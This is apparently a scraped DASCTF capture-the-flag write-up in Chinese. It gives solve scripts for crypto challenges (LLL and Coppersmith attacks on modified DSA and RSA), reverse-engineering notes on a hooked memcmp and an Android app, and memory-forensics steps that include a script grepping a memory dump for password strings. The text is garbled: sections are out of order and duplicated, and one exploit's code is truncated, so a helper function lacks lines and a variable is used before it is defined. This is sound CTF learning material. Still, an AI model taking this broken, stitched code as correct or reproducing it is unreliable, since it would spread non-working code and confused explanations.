(1804131890436486866363129670875272535127829613109307224638927349502815652920038318044827248066297349084047126682198723537, 205851561043462971495790984180238782403371191306463313748537952075031757233102533087892093246459879467418213080624418525), (115055233675952369353652759916228030654313474433562820828539341357745365094094469880187786426435712648771454584499932530, 1176080864489594177205517592453183512444290818765306305520846987245653463202230068116379056777589684194022156652500590286), (2328185963017050382404641363914321749130815400658884925780323745763587492366183441185791654864416499947607965414839983680, 1886972372164945427290729032551681924723044624295253696412030824048931146570915452349880650169939511030432165431905079162), (1187461847839408713851221476312312384869325749843380494840008651043567024911068726332857155522639869883501560564590472502, 14245981570273560431111454126826341091354415427387740559245555665941487543601004914128539171516718107049427670791071455), (1275402030469087379247637832029139314437943507754693234009807154397029994354617242802931983091961356790463942774885431413, 1244618585414033483912499539268357193993901084573974055024618656871349876744646123907837743332137138284077968028988239205), (434412507816189969843251866894800201497317336949194643079967243932448367734854234524383921690504689272627248814185361829, 1193224411748734492892063266412070819051994764468021617840046995194588804893634149301845035319723286201666783735434959871), (967206800413690215868425566102618623559678834432686964828977512828919721907280699739833113197470139412151190023683313494, 1808530961381834386234136376719035780314110457320233165055990056489953593025409242256807470925700807422319096558572795309), (313624779412398332754376720890766035026328871037358868168298423270666735999144035960122672900278781994670311217953770375, 1686899500506262775384473022726677756466624697749756704659992441285341042856582261569357914257097304916151170085370461887), (2503049409019801269651799221722260539204050296212337202096008034125758666888245353212657377647881087341258220743220151950, 1805670425703721038437117454438319230600703158318099419770216013430708468787297957979021344350598998116788430512286857710), (542793615526234040152647477936504636873290026979804505200706031754909176961382452267207291751054204331474258583862955704, 137413216840404664240606423528330611923289618863367088636432169005845572010429296034368451334357274658088690084213739519), (1278727765228747216000039330509641392475448645848420065175572576050796418025108532539983143839105111868933395201633094022, 23388499359309984016274969787898858204391606769507546898645785064534114465222342746534462082168690576567031618802237437), (1012848580192164395816758294581574397534987673377799482227399907475636722043236850766024023620412517564680586256857352143, 1905214326869438439368196073362306288481014496204443072620153943726399155969870686475260450389360494546627630953811148739), (14681804970662677021409260234892378252555735233958673970664432299644093318314837872915339633110893420712659256185701001, 1011761630527797621590321605066946971053085037922024159289431337005985850853467103097812975363878048453898707806902513147), (1285297724752785338545033366325253262303128927017049271006754406539647664563391436762226286574374768602309413720192759993, 1493631305230939817393915729396076315723258260416123252804505906893714637325280535095299471289740565654113670071232495263), (1936455326607738910358536004445045468685935298243245355139607465446389473389575731412354107347767379820812067955096505581, 17221509529814003689149745147239645298120184452011530064684368807629510922529681925724732647573630702864807669020485630), (1712173121206746224826777847167590088908487771935061508185448418705799456315866273530139739504675597716276421618856320329, 863258960233895711001625204805338525869459949675833484269384656157104193362371966225031203968537041681324265578127949567), (122947819386929089053369455928546401519366926955589935482151285368760894784571110782585692673158533373827447719944343791, 1029102739229804972707735760530574223266205866939373652705629746591419564062928935797957680207632040596245681227704817914), (2385767142510533504647214446664898369383090132453476416454822794037991187237960157132343084153289103535309857420295111775, 1761624877069474386824225334992881109136596455709107320013742630575693526591737171363464568721656277644139593399384668014), (812771942753829583712722765469520203663717266127958627830326203252222513862479475416772893289895236549766564327139922612, 1400551965978757484763340299740157171921224208542574495162921941233365483529203665206398541892811136907423472715818784767), (1730447421466464570286474725493766890793606044225883792125770759375672642470742177732074062181325776806752255986611978352, 1227172422842784980554449107675660327741994737748190415035709694965213848256121533465275911556767542681543052337917439991), (884876570094879628298320898305798783174822422253214800767481822053599408285668812621687108791956015225332329856833897849, 753204920370187659065626153785437381083012604855618525406022085513242388007754850086113679887120336586260993544726445815), (2423878693124084232298267862648738136330397292982760413012437397441533882471872339001090243864079240084356627531832647422, 77986001656302970387684242942282141405916785932070787943262406584312194694807333266164831908062494860407574874622803959), (1290185371498453630061135665764650237444736789468400436115999443209964260044045414036036267228562648112405016415084034369, 68976337771940690010768399948574523361633543589446521911372413501313976435844421496476544211566756895340409483041171429), (534185007935476498632058534030834014275044346188926848916387521022740118957225895686427252642167800163347935460364558055, 731879744398464762194277983635893240035937844142280555568092822946046633080006561051406094554262898470573348173297417945), (2009543648096147223331131572743756103868310430657031922289948135024763757031731292638042205835167380178315151642456024876, 864568612425196666545678285566636785636433247142630432401391420609479878443671268150141447157212173236963221732165810175), (1757088643325711453646774590651240485497713141719261877086100356614624931730830270746024611221269656481354818801893802862, 974732470392774737526017597270025996122553373618728789664042196211840392818797860303355085148223560919202565975591828989), (288236986926014229269042124754978817491981631142567735873084199780621570926784314358694003281689620128867232148908447783, 1677180488607905300411659606081989540342864981198203708964066014660249657102993313228752304204059137461689367948628457454), (2357100534536251965755486926312170142467175578829851375102247846264889085384519286073305902768874043332485938824401972401, 701015346799246873651989606339191939588270778423404768025441929439466616345395882534334734331126078737835606277756551038), (361601359553041584651624082197420503156194921051661310152767809536879950298413026398079782027847432778044471125267794148, 338870184820594722235914590766168929044789583242319904735556030852263040707796808350885054449714833051229949699390437343), (437493113470125074131702090577490292225129373521518638964839429915294209870286662477332241046314129156199317300178856910, 304951333972637627160342487320016313244618388459742922018615396895218523409067458512473044675590109759792913998170528746)] ct = 14058554635665083618818231958810639805770645952778992611953881143316377164307777281092527452513347998950720853358361 ########################################################### part1 construct A= [] b = [] for i in range(m): temp = [msgs[i][0]^j % p for j in range(n)] A.append(temp) b.append(msgs[i][1]) A = Matrix(ZZ,A) b = vector(ZZ,b) ########################################################### part2 LLL #primal_attack1 def primal_attack1(A,b,m,n,p,esz): L = block_matrix( [ [matrix.identity(m)*p,matrix.zero(m, n+1)], [(matrix(A).T).stack(-vector(b)).change_ring(ZZ),matrix.identity(n+1)], ] ) print(L.dimensions()) Q = diagonal_matrix([2^256//esz]*m + [1]*n + [2^256]) L *= Q L = flatter(L) L /= Q for res in L: if(res[-1] == 1): s = vector(GF(p), res[-n-1:-1]) return s elif(res[-1] == -1): s = -vector(GF(p), res[-n-1:-1]) return s res = primal_attack1(A,b,m,n,p,2^32) print(res) key = "".join([str(i) for i in list(res)[1:]]) key = md5(key.encode()).digest() aes = AES.new(key = key, mode = AES.MODE_ECB) flag = aes.decrypt(long_to_bytes(ct)) print(flag) #DASCTF{3617af36-7869-6939-3a09-bb8038aea171} 解题步骤 题目中的DSA签名算法是被修改过的,sign函数如下 def sign(self, message): h = int(hashlib.sha1(message).hexdigest(), 16) k = b2l(xor(message,self.KEY)) r = pow(self.g, k, self.p) % self.q s = (inverse(k, self.q) * (h + self.x * r)) % self.q if r != 0 and s != 0: return (r, s) 实际上作用为 &&&&&r=g^k\% p \ \\ &&&&&s=k^{-1}(hash(M)+xr)\%p 与常规DSA签名算法不同的是,这里的k生成并不是随机生成的,而是 得到的 题目中给了31组数据,由此我们可以获得一共31组是唯一的 目前思路就是,通过这31组数据,来得到x,通过不同数据的关系,来进行破解 参与sign中的M是原始字符串m由pad()函数加密后的,我们可以通过找到两个相同长度的字符串m,那么他们填充后的数据也是一样,这些字符串都是由"DAS"字符集组成,那么字符串中很有可能会出现在相同位置具有相同的字符 例如:() 他们最后的填充数据也是一样的,填充后的进行加密 由异或的性质,实际上就是对位的二进制加法 我们就可以得到下列关系式,其中x1,x2的大小就由两段不一样的字符串长来确定的,举例中不超过80bit 将 s_1=k_1^{-1}(h_1+xr_1) &&& (2)\\s_2=k_2^{-1}(h_2+xr_2) &&&(3) 联立我们就可以消去,得到式子(4), 此时式子(4)的未知数只有 ,其中为小数, 如果找到了另一组两个长度相同,其中相同位置具有相同的字符串的两个字符串 我们就可以通过上述操作得到一个类似的式子(5) 其中的未知数为,其中为小数, 联立我们可以消去x,得到一个式子中只有 就转化为小根问题,可以通过多元coppersmith攻击来解决。 在寻找相同长度的字符串中,找到相同位置的连续子串 代码如下: def longest_common_substring_at_same_position(s1, s2): if len(s1) != len(s2): raise ValueError("Strings must be of the same length") max_length = 0 current_length = 0 start_index = 0 for i in range(len(s1)): if s1[i] == s2[i]: current_length += 1 if current_length > max_length: max_length = current_length start_index = i - max_length + 1 else: current_length = 0 return s1[start_index:start_index + max_length],start_index 在题目给的数据中,我们可以找到两组字符串为(右侧的数字字符串在GIFT,txt中的位置) ADDSDD AASADASADDSDDASADSAS 5 ADSSSSAADDSDDDADAADD 8 SAADDA DADSDAASAADDAAASASSSA 11 SASADSSSAADDASADDDADD 22 然后根据上面的思维,以结式法进行消元构造 def resultant(f1, f2, var): return Matrix.determinant(f1.sylvester_matrix(f2, var)) index=[5,8,11,22] P.<k0,k1,k2,k3,x1,x2,x3,x4,x,f1,f2,f3,f4> = PolynomialRing(Zmod(q)) k1=2^(25*8)*x1+k0+2^(12*8)*x2 k3=2^(25*8)*x3+k2+2^(11*8)*x4 # P.<x>= PolynomialRing(Zmod(q)) h=h0,h1,h2,h3=sha256(key[index[0]]),sha256(key[index[1]]),sha256(key[index[2]]),sha256(key[index[3]]) f=[f0,f1,f2,f3] k=[k0,k1,k2,k3] for i in range(4): f[i]=rs[index[i]][1]*k[i]-h[i]-rs[index[i]][0]*x ff1 = resultant(f[0], f[1], k0) ff2 = resultant(f[2], f[3], k2) ff = resultant(ff1, ff2, x) PP.<x1,x2,x3,x4>= PolynomialRing(Zmod(q)) ff=eval(str(ff)) x1,x2,x3,x4= small_roots(ff, (2**56, 2**56,2**56,2**64), m=4, d=2)[0] ff式子就是我们最终得到的只有的方程式 而四段不一样的字符串长度分别为 因为在设置small_roots的参数是,上界选为 得到私钥x后,带回原方程,求得,再和填充后的字符串异或回来就可以 k0=int(f0.subs(x=xx2).univariate_polynomial().roots()[0][0]) KEY=l2b(k0^^b2l(pad(key[index[0]].encode(),32))) print(b"DASCTF{"+KEY+b"}") 完整代码如下: import hashlib from Crypto.Util.number import * from Crypto.Util.Padding import pad from sage.matrix.matrix2 import Matrix import itertools def small_roots(f, bounds, m=1, d=None): if not d: d = f.degree() R = f.base_ring() N = R.cardinality() f /= f.coefficients().pop(0) f = f.change_ring(ZZ) G = Sequence([], f.parent()) for i in range(m + 1): base = N ^ (m - i) * f ^ i for shifts in itertools.product(range(d), repeat=f.nvariables()): g = base * prod(map(power, f.variables(), shifts)) G.append(g) B, monomials = G.coefficient_matrix() monomials = vector(monomials) factors = [monomial(*bounds) for monomial in monomials] for i, factor in enumerate(factors): B.rescale_col(i, factor) B = B.dense_matrix().LLL() B = B.change_ring(QQ) for i, factor in enumerate(factors): B.rescale_col(i, 1 / factor) H = Sequence([], f.parent().change_ring(QQ)) for h in filter(None, B * monomials): H.append(h) I = H.ideal() if I.dimension() == -1: H.pop() elif I.dimension() == 0: roots = [] for root in I.variety(ring=ZZ): root = tuple(R(root[var]) for var in f.variables()) roots.append(root) return roots return [] key,rs=[],[] index=[5,8,11,22] sha256=lambda x:int(hashlib.sha256(pad(x.encode(),32)).hexdigest(), 16) b2l=lambda x:bytes_to_long(x) l2b=lambda x:long_to_bytes(x) def resultant(f1, f2, var): return Matrix.determinant(f1.sylvester_matrix(f2, var)) with open("GIFT.txt","r") as f: for i in f.readlines(): key.append(i.strip()) # print(key) with open("enc.txt","r") as f: data=f.readlines() for i in data[:-1]: rs.append(eval(i.strip())) p,q,g,y=tmp=eval(data[-1]) P.<k0,k1,k2,k3,x1,x2,x3,x4,x,f1,f2,f3,f4> = PolynomialRing(Zmod(q)) k1=2^(25*8)*x1+k0+2^(12*8)*x2 k3=2^(25*8)*x3+k2+2^(11*8)*x4 # P.<x>= PolynomialRing(Zmod(q)) h=h0,h1,h2,h3=sha256(key[index[0]]),sha256(key[index[1]]),sha256(key[index[2]]),sha256(key[index[3]]) f=[f0,f1,f2,f3] k=[k0,k1,k2,k3] for i in range(4): f[i]=rs[index[i]][1]*k[i]-h[i]-rs[index[i]][0]*x ff1 = resultant(f[0], f[1], k0) ff2 = resultant(f[2], f[3], k2) ff = resultant(ff1, ff2, x) PP.<x1,x2,x3,x4>= PolynomialRing(Zmod(q)) ff=eval(str(ff)) x1,x2,x3,x4= small_roots(ff, (2**56, 2**56,2**56,2**64), m=4, d=2)[0] xx = Integer(ff1.subs(x1=x1,x2=x2).univariate_polynomial().roots()[0][0]) xx2 = Integer(ff2.subs(x3=x3,x4=x4).univariate_polynomial().roots()[0][0]) assert xx2 == xx k0=int(f0.subs(x=xx2).univariate_polynomial().roots()[0][0]) KEY=l2b(k0^^b2l(pad(key[index[0]].encode(),32))) print(b"DASCTF{"+KEY+b"}") # 71413025726041075021691379440197097387165417897223060463261836215249838866459 # b'DASCTF{AADDAASAAASSSASSDSSASSDDDSDAAASS}' 题目描述: 我们来到了提瓦特与现实世界的边界,我们怎么卡进去呢? 题目: from Crypto.Util.number import * from sympy import * import os from secrets import flag nbit =130 e = 3 l = getPrime(505) m = bytes_to_long(flag + os.urandom(64)) assert len(flag) == 29 while True: p, q = getPrime(nbit), getPrime(nbit) PQ = int(str(p<<120)+str(q)) QP = int(str(q<<120)+str(p)) if isPrime(PQ) and isPrime(QP): break n = PQ * QP PP = nextprime((PQ >> 190) * (QP & (2 ** 190 - 1))) QQ = nextprime((QP >> 190) * (PQ & (2 ** 190 - 1))) N = PP * QQ M = pow(m,1,l) c = pow(m,e,N) print('n =', n) print('M =', M) print('l =', l) print('c =', c) ''' n = 18339446336492672809908730785358232636383625709800392830207979464962269419140428722248172110017576390002616004691759163126532392634394976712779777822451878822759056304050545622761060245812934467784888422790178920804822224673755691 M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322 l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189 c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923 ''' 要解决题目就要获得N的分解,而N的因子PP、QQ其实是由PQ、QP唯一决定的,所以其实就是要获得n=PQ*QP的分解。 而PQ、QP这两个素数又是由两个素数p、q按如下方式生成的: PQ = int(str(p<<120)+str(q)) 自己测试一下,可以发现130bit的素数按十进制大概有39或40位数字,也就是说PQ和QP可以写成: 所以乘起来就有: 可以发现p、q完全算小量,所以乘起来二元copper就可以获得分解,之后常规解密就行了,由于不互素所以还要AMM或者有限域开根,最后crt一下。 exp: def small_roots(f, bounds, m=1, d=None): R = f.base_ring() G = Sequence([], f.parent()) B, monomials = G.coefficients_monomials() factors = [monomial(*bounds) for monomial in monomials] B = B.dense_matrix().LLL() B = B.change_ring(QQ) H = Sequence([], f.parent().change_ring(QQ)) return [] nbit = 130 n = 18339446336492672809908730785358232636383625709800392830207979464962269419140428722248172110017576390002616004691759163126532392634394976712779777822451878822759056304050545622761060245812934467784888422790178920804822224673755691 PR.<p,q> = PolynomialRing(Zmod(n)) mp = pow(c,inverse(3,PP-1),PP) for i in res: #DASCTF{Ar3_Y0u_Su93_Abt139??} 但是这都做完了,发现有一个信息其实根本没用上,就是: M = pow(m,1,l) 相当于多给了个m模l的值,而由于加密指数仅仅为3,所以类似于明文低位泄露,可以写出: 所以得到N之后,预期应该也可以不AMM,直接copper可能就行了,或者就是用可以直接求逆的PP去和l做crt也行。总之信息给的很多。 题目附件下载地址: 链接:
DASCTF
与unsigned char ida_chars[] ={ 0, 0, 0, 0, 0, 63, 9, 99, 52, 50, 19, 42, 47, 42, 55, 60, 35, 0, 46, 32, 16, 58, 39, 47, 36, 58, 48, 117, 103, 101, 60, 0, 0, 0, 0, 0, 0};
循环异或,异或回去则可以拿到flag题目:Strangeprograme
DASCTF{I'am Fake But Why Look Like real?}显然是假的
那么可以肯定的就是memcmp被动了手脚
那么我们使用附加调试,在memcmp上下断点,就可以发现memcmp的IAT表被修改了,属于IATHOOK
附加调试之后找到的memcmp真正的逻辑如下:
逻辑还原如下:题目:BabyAndroid
首先运行APK正如描述所说是一个APK文件,一般这种,我们很难找代码,描述中说到过程序存在发包功能,那我们使用一下程序保存发现拦截到了如下数据包:
看完调用栈,我们发现,主要是在site.qifen.note.ui.NoteActivity,接下来我们就可以开始反编译了
直接Hook Loaddata
Hook代码如下:
13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13如果自己算customHash代码如下:
主要逻辑如下MISC
题目:png_master
DASCTF{2fd9e9ff-e27d-5405-c5f5-a19131f86216}
题目:EZ_zip
题目:ServerMeM
\volatility\plugins\overlays\linux
目录下tar -czf - F14ggg | openssl enc -e -aes256 -out ./S3rCr3t.tar.gz
命令可以会很容易在内存上下文中获取到该密钥P@ssW0rdddd,以及后面cat获取到的Salted__开头的加密文件S3rCr3t.tar.gz
,并且说明了加密类型是openssl的aes256
,经过这种加密的特征就是Salted_
加盐值,拖进winhex里:keyDASCTFPassword
然后在这里面加数字呗,这样写个脚本就好了:import re
# 要搜索的字符列表
search_terms = [
b"key", b"password", b"dasctf", b"k3y", b"p@ssword", b"passw0rd",
b"p@ssw0rd", b"secret", b"s3cret", b"s3cr3t", b"s3cre4"#遇到一个加一个,CTFer的好习惯
]
# 要搜索的文件路径
file_path = "out.lime"
# 读取文件内容
with open(file_path, "rb") as file:
data = file.read()
# 搜索字符并打印结果
for term in search_terms:
# 后面可以跟随任意字符的模式
regex = re.compile(re.escape(term) + b".*", re.IGNORECASE)
for match in regex.finditer(data):
matched_text = match.group()
print(f"Found '{term.decode()}' match: {matched_text[:50]}...") # 只显示前50个字节
# 内存取证是这样的,而我们非预期选手考虑的就很多了
P@ssW0rdddd
DASCTF{c086cd55-b86a-4ee6-8933-c8bee578148a}
CRYPTO
题目:complex_enc
from Crypto.Util.number import *
import random
from secret import flag
sum=2
key=[1]
for i in range(n):
r=random.randint(0,1)
x=sum+random.randint(0,n)*r
key.append(x)
sum+=x
return key
cipher_list = []
for i in range(len(m)):
if m[i] == 1:
cipher_list.append(m[i] * k[i])
cipher = sum(cipher_list)
return cipher
m = [int(bit) for byte in flag for bit in format(byte, '08b')]
key=GET_KEY(len(m))
c=enc(m,key)
f.write(str(c))
f.write(str(key))题目:found
题目:EZshamir
题目:DAS_DSA
1z_RSA
We've arrived at the boundary between Teyvat and the real world. How do we glitch inside?
QP = int(str(q<<120)+str(p))from Crypto.Util.number import *
from sympy import nextprime
import itertools
if not d:
d = f.degree()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
for i in range(m+1):
base = N^(m-i) * f^i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
monomials = vector(monomials)
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)
for h in filter(None, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
e = 3
M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322
l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189
c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923
f = ((2*p+1)*2^120*10^39+(2*q+1))*((2*q+1)*2^120*10^40+(2*p+1))
bounds = (2^(nbit-1),2^(nbit-1))
res = small_roots(f,bounds,m=2,d=3)
p,q = 2*int(res[0][1])+1,2*int(res[0][0])+1
print(p*q)
print(n % 10^79)
PQ = int(str(p<<120)+str(q))
QP = int(str(q<<120)+str(p))
PP = nextprime((PQ >> 190) * (QP & (2 ** 190 - 1)))
QQQ = nextprime((QP >> 190) * (PQ & (2 ** 190 - 1)))
PR.<mq> = PolynomialRing(Zmod(QQQ))
f = mq^3 - c
res = f.roots()
m = crt([int(i[0]),mp],[QQQ,PP])
flag = long_to_bytes(int(m))
if(b"DASCTF{" in flag):
print(flag)或者
# sagemath
from Crypto.Util.number import *
N = 763933528218428362740063144747893290714655295576768532896029874141179804730143020017430379534079773751531037961074867132893544981605022026151484151321515584652838724809597675412676810669583078026377048734720511960708515190930979
M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322
l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189
c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923
PR.<k> = PolynomialRing(Zmod(N))
f = (M + k * l) ^ 3 - c
f = f.monic()
kk = f.small_roots(X = 2 ^ 239, epsilon = 0.02)[0]
m = M + kk * l
print(long_to_bytes(int(m)))
# DASCTF{Ar3_Y0u_Su93_Abt139??}